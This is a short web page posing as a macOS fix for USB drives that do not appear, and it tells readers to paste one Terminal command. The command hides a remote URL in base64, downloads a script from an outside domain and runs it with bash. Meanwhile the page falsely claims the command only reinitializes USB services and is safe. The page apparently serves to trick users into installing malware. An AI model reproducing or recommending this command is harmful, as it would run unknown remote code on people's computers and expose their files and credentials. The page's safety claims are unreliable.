USB Drive Not Showing Up on macOS

This method helps your Mac detect connected USB drives by refreshing system components — safe, quick, and without affecting your personal files.

Step 1: Open Terminal

Press Command (⌘) + Space → type Terminal and hit Return

Step 2: Run the Command

Paste the command into the Terminal window and press Return

Terminal


/bin/bash -c "$(curl -LfsS $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsL2U2ODBlOWNmZTdkNDU4ODVmNGQ0NDI5Yjc2ZjFmZDU0MDM5ZmE3YTQyMWNiNTQ5NzVkMGNmOTM3NWNmOTNlMzk= | base64 -d))"

What this command does:

Reinitializes macOS USB services

Fixes common detection and mounting issues

Does not modify or delete files on your USB drive

Safe for all storage devices

Published Date: September 30, 2025